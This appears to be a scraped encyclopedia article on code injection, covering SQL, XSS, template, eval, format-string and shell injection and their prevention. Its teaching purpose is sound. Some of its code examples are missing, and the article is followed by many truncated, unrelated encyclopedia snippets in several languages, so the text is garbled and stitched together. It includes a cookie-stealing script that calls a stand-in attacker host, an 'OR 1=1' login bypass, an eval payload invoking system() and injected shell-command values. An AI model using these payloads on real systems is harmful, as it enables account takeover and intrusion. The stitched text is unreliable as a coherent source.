Code injection is a computer security exploit where a program fails to correctly process external data, such as user input, causing it to interpret the data as executable commands. An attacker using this method "injects" code into the program while it is running. Successful exploitation of a code injection vulnerability can result in data breaches, access to restricted or critical computer systems, and the spread of malware.
Code injection vulnerabilities occur when an application sends untrusted data to an interpreter, which then executes the injected text as code. Injection flaws are often found in services like Structured Query Language (SQL) databases, Extensible Markup Language (XML) parsers, operating system commands, Simple Mail Transfer Protocol (SMTP) headers, and other program arguments. Injection flaws can be identified through source code examination,[1]Static analysis, or dynamic testing methods such as fuzzing.[2]
There are numerous types of code injection vulnerabilities, but most are errors in interpretation—they treat benign user input as code or fail to distinguish input from system commands. Many examples of interpretation errors can exist outside of computer science, such as the comedy routine "Who's on First?". Code injection can be used maliciously for many purposes, including:
Attacking web users with Hyper Text Markup Language (HTML) or Cross-Site Scripting (XSS) injection.
Code injections that target the Internet of Things could also lead to severe consequences such as data breaches and service disruption.[3]
Code injections can occur on any type of program running with an interpreter. Doing this is trivial to most, and one of the primary reasons why server software is kept away from users. An example of how you can see code injection first-hand is to use your browser's developer tools.
Code injection vulnerabilities are recorded by the National Institute of Standards and Technology (NIST) in the National Vulnerability Database (NVD) as CWE-94. Code injection peaked in 2008 at 5.66% as a percentage of all recorded vulnerabilities.[4]
Benign and unintentional use
Code injection may be done with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without malicious intent.[5][6] Code injection could, for example:
Introduce a useful new column that did not appear in the original design of a search results page.
Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
Add functionality like connecting to online resources in an offline program.
Override a function, making calls redirect to another implementation. This can be done with the Dynamic linker in Linux.[7]
Some users may unsuspectingly perform code injection because the input they provided to a program was not considered by those who originally developed the system. For example:
What the user may consider as valid input may contain token characters or strings that have been reserved by the developer to have special meaning (such as the ampersand or quotation marks).
The user may submit a malformed file as input that is handled properly in one application but is toxic to the receiving system.
Another benign use of code injection is the discovery of injection flaws to find and fix vulnerabilities. This is known as a penetration test.
Preventing Code Injection
To prevent code injection problems, the person could use secure input and output handling strategies, such as:
Using an application programming interface (API) that, if used properly, is secure against all input characters. Parameterized queries allow the moving of user data out of a string to be interpreted. Additionally, Criteria API[8] and similar APIs move away from the concept of command strings to be created and interpreted.
Validating or "sanitizing" input, such as whitelisting known good values. This can be done on the client side, which is prone to modification by malicious users, or on the server side, which is more secure.
Encoding input or escaping dangerous characters. For instance, in PHP, using the htmlspecialchars() function to escape special characters for safe output of text in HTML and the mysqli::real_escape_string() function to isolate data which will be included in an SQL request can protect against SQL injection.
Encoding output, which can be used to prevent XSS attacks against website visitors.
Using the HttpOnly flag for HTTP cookies. When this flag is set, it does not allow client-side script interaction with cookies, thereby preventing certain XSS attacks.[10]
The solutions described above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injections of user code on a user-operated machine, which often results in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:
Runtime image hash validation, which involves capturing the hash of a partial or complete image of the executable loaded into memory and comparing it with stored and expected hashes.
NX bit: all user data is stored in special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory and refuses to execute anything found in there.
Use canaries, which are randomly placed values in a stack. At runtime, a canary is checked when a function returns. If a canary has been modified, the program stops execution and exits. This occurs on a failed Stack Overflow Attack.
Code Pointer Masking (CPM): after loading a (potentially changed) code pointer into a register, the user can apply a bitmask to the pointer. This effectively restricts the addresses to which the pointer can refer. This is used in the C programming language.[12]
An SQL injection takes advantage of SQL syntax to inject malicious commands that can read or modify a database or compromise the meaning of the original query.[13]
For example, consider a web page that has two text fields which allow users to enter a username and a password. The code behind the page will generate an SQL query to check the password against the list of user names:
If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code "('Password' OR '1'='1') in the Password field, then the resulting query will look like this:
In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.
The technique may be refined to allow multiple statements to run or even to load up and run external programs.
The resulting User table will be removed from the database. This occurs because the ; symbol signifies the end of one command and the start of a new one. -- signifies the start of a comment.
Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users and typically receives messages such as:
Very nice site!
However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal="+escape(document.cookie)</script>
If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.
HTML and script injection are popular subjects, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.
Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.[14]
Server Side Template Injection
Template engines are often used in modern web applications to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities[15] such as server-side Side Template Injections. While this vulnerability is similar to cross-site scripting, template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template {{visitor_name}} is replaced with data during the rendering process.
Hello {{visitor_name}}
An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious visitor_name. Depending on the implementation of the web application, he could choose to inject {{7*'7'}} which the renderer could resolve to Hello 7777777. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to remote code execution.
Dynamic evaluation vulnerabilities
An eval() injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval()function call.[16]
The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10;system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".
Object injection
PHP allows serialization and deserialization of whole objects. If an untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.[17] Such an attack on Joomla was found in 2013.[18]
Format string bugs appear most commonly when a programmer wishes to print a string containing user-supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char arraypassword which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.
charuser_input[100];intint_in;charpassword[10]="Password1";printf("Enter an integer\n");scanf("%d",&int_in);printf("Please enter a string\n");fgets(user_input,sizeof(user_input),stdin);printf(user_input);// Safe version is: printf("%s", user_input);printf("\n");return0;
If the user input is filled with a list of format specifiers, such as %s%s%s%s%s%s%s%s, then printf()will start reading from the stack. Eventually, one of the %s format specifiers will access the address of password, which is on the stack, and print Password1 to the screen.
Shell injection
Shell injection (or command injection[19]) is named after UNIX shells but applies to most systems that allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:
# !/bin/tcsh# check arg outputs it matches if arg is oneif($1== 1)echo it matches
If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil" will attempt to execute the injected shell command evil instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack.[20]
Client-server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext to replace a word the user sent with some other word.
The passthru function in the above program composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):[21]
Shell feature
USER_INPUT value
Resulting shell command
Explanation
Sequential execution
; malicious_command
/bin/funnytext ; malicious_command
Executes funnytext, then executes malicious_command.
However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.
A safer alternative is to use APIs that execute external programs directly rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells and/or to be more cumbersome/verbose compared to concise shell syntax.
^Srinivasan, Raghunathan. "Towards More Effective Virus Detectors"(PDF). Arizona State University. Archived from the original(PDF) on 29 July 2010. Retrieved 18 September 2010. Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
Provinsi dan kota otonom di Argentina Argentina terbagi menjadi 23 provinsi (bahasa Spanyol: provincias, tunggal - provincia) dan sebuah kota otonom (ciudad autónoma), yaitu Buenos Aires yang merupakan ibu kota federal (Capital Federal) negara itu berdasarkan keputusan Kongres Nasional. Masing-masing provinsi termasuk ibu kota federal memiliki konstitusi mereka sendiri, tetapi berada di bawah sistem federal. Sejarah Pada tahun 1853, tiga belas provinsi yakni Catamarca, Córdoba, Corrientes, ...
Study of viruses For the journals, see Virology (journal) and Virology Journal. Gamma phage, an example of virus particles (visualised by electron microscopy) Virology is the scientific study of biological viruses. It is a subfield of microbiology that focuses on their detection, structure, classification and evolution, their methods of infection and exploitation of host cells for reproduction, their interaction with host organism physiology and immunity, the diseases they cause, the techniqu...
American baseball player (born 1985) Baseball player Wade DavisDavis with the Colorado Rockies in 2018PitcherBorn: (1985-09-07) September 7, 1985 (age 38)Lake Wales, Florida, U.S.Batted: RightThrew: RightMLB debutSeptember 6, 2009, for the Tampa Bay RaysLast MLB appearanceSeptember 11, 2021, for the Kansas City RoyalsMLB statisticsWin–loss record63–55Earned run average3.94Strikeouts929Saves141 Teams Tampa Bay Rays (2009–2012) Kansas City Royals (2013�...
RizeLokasi Rize di TurkiNegara TurkiRegionLaut HitamProvinsiRizePemerintahan • Wali kotaHalil BakırcıKetinggian6 m (20 ft)Populasi • Total78.144Zona waktuUTC+2 (EET) • Musim panas (DST)UTC+3 (EEST)Kode pos53Kode area telepon(0090)+ 464Licence plate53Situs webhttp://www.rize.bel.tr Rize (Yunani: Ρίζα Riza,[1] bahasa Georgia: რიზე, Laz: Rizini, bahasa Armenia: Ռիզե) adalah ibu kota Provinsi Rize di Turki t...
Ancestor of Abraham Lincoln (1622–1690) Samuel LincolnBorn24 August 1622Hingham, Norfolk, EnglandDied26 May 1690 (aged 67)Hingham, Massachusetts Bay Colony, English AmericaChildrenSamuel, Daniel, Mordecai, Mary, Thomas, Martha, Sarah, RebeccaParentEdward Lincoln Historical marker, Samuel Lincoln House, Hingham, Massachusetts Samuel Lincoln (24 August 1622 – 26 May 1690) was an Englishman and progenitor of many notable United States political figures, including his 4th-great-grandson, Pres...
Type of radio antenna Rubber ducky antenna on a transceiver The rubber ducky antenna (or rubber duck aerial) is an electrically short monopole antenna that functions somewhat like a base-loaded whip antenna. It consists of a springy wire in the shape of a narrow helix, sealed in a rubber or plastic jacket to protect the antenna.[1] The rubber ducky antenna is a form of normal-mode helical antenna. Electrically short antennas like the rubber ducky are used in portable handheld radio eq...
Leader of a tribal society or chiefdom Chieftain redirects here. For other uses, see Chieftain (disambiguation). This article has multiple issues. Please help improve it or discuss these issues on the talk page. (Learn how and when to remove these template messages) This article needs additional citations for verification. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed.Find sources: Tribal chief – new...
Santa Margherita Bays Terziaria francescana e vergine NascitaSiviriez, 8 settembre 1815 MorteSiviriez, 27 giugno 1879 Venerata daChiesa cattolica Beatificazione29 ottobre 1995 da papa Giovanni Paolo II Canonizzazione13 ottobre 2019 da papa Francesco Ricorrenza27 giugno Manuale Margherita Bays, in francese Marguerite Bays (Siviriez, 8 settembre 1815 – Siviriez, 27 giugno 1879), è stata una terziaria francescana svizzera. Beatificata nel 1995, è stata proclamata santa da papa Fra...
Doge of the Republic of Genoa from 1545 to 1547 This article relies largely or entirely on a single source. Relevant discussion may be found on the talk page. Please help improve this article by introducing citations to additional sources.Find sources: Giovanni Battista De Fornari – news · newspapers · books · scholar · JSTOR (July 2020) Giovanni Battista De Fornari54th Doge of the Republic of GenoaIn officeJanuary 4, 1545 – January 4, 1547P...
Sri Lankan senior army general This biography of a living person needs additional citations for verification. Please help by adding reliable sources. Contentious material about living persons that is unsourced or poorly sourced must be removed immediately from the article and its talk page, especially if potentially libelous.Find sources: Srilal Weerasooriya – news · newspapers · books · scholar · JSTOR (May 2019) (Learn how and when to remove this mes...
Americans of Ethiopian birth or descent This article needs additional citations for verification. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed.Find sources: Ethiopian Americans – news · newspapers · books · scholar · JSTOR (May 2021) (Learn how and when to remove this message) Ethiopian AmericansTotal population261,741 (Ethiopia-born, 2016)[1][2]68,001 (Ethiop...
هذه مقالة غير مراجعة. ينبغي أن يزال هذا القالب بعد أن يراجعها محرر؛ إذا لزم الأمر فيجب أن توسم المقالة بقوالب الصيانة المناسبة. يمكن أيضاً تقديم طلب لمراجعة المقالة في الصفحة المخصصة لذلك. (أغسطس 2022) التذكرة لابن غلبون التَّذْكِرَة معلومات الكتاب المؤلف أبو الحسن طاهر ب�...
Town in North Carolina, United StatesWinfall, North CarolinaTownMain Street in Winfall after the 2015 Valentine's Day blizzardMotto: Forward With IntegrityLocation of Winfall, North CarolinaCoordinates: 36°12′38″N 76°27′18″W / 36.21056°N 76.45500°W / 36.21056; -76.45500CountryUnited StatesStateNorth CarolinaCountyPerquimansIncorporated1887Government • MayorFrederick YatesArea[1] • Total2.32 sq mi (6.01 km...
Austrian Paralympic athlete Natalija EderPersonal informationNationalityBelarusian/AustrianBorn (1980-08-06) 6 August 1980 (age 43)Grodno, BelarusHeight162 cm (5 ft 4 in)SportCountryAustriaSportAthleticsDisability classF12Event(s)shot put, javelinClubABSV-Wien: ViennaCoached byGregor Hopler Medal record Paralympic athletics Representing Austria Paralympic Games 2012 London Javelin - F12/13 2016 Rio de Janeiro Javelin - F13 World Championships 2013 Lyon Javelin t...
هذه المقالة بحاجة لصندوق معلومات. فضلًا ساعد في تحسين هذه المقالة بإضافة صندوق معلومات مخصص إليها. ترتيب ونتائج المجموعة د من منافسات تصفيات بطولة أمم أوروبا 2008. الترتيب م الفريقعنت لعب ف ت خ أ.له أ.ع أ.ف نقاط التأهل 1 جمهورية التشيك 12 9 2 1 27 5 +22 29 تأهل إلى البطولة النهائية ...
2017 South Korean filmWarriors of the DawnTheatrical release posterHangul대립군Hanja代立軍Revised RomanizationDaeripgun Directed byJeong Yoon-cheolWritten byShin Do-youngJeong Yoon-cheolProduced byWon Dong-yeonYoon Young-haKim Ho-sungJu Bang-okStarringLee Jung-jae Yeo Jin-gooKim Mu-yeolCinematographyByun Bong-sunProductioncompaniesREALies Pictures[1] 20th Century Fox Korea[1]Verdi Media[1]Blossom Pictures[1]Distributed by20th Century Fox KoreaRelease date...
Old division footballOld division game played on the Green at Dartmouth College in 1874First played1820sCharacteristicsContactYesTeam membersDartmouth CollegeTypeMedieval footballEquipmentFootball ballVenueThe Green (Dartmouth)PresenceCountry or regionUnited StatesOlympicNoWorld ChampionshipsNoParalympicNo Part of the American football series on theHistory of American football Origins of American football Early history Modern history First game First pro league First pro player Walter Ca...
У этого термина существуют и другие значения, см. Историко-краеведческий музей. Историко-краеведческий музей (Нижний Тагил) Дата основания 1841 Местонахождение Нижний ТагилПроспект Ленина Адрес Нижний Тагил, проспект Ленина, 1а Сайт Официальный сайт Медиафайлы на Вики�...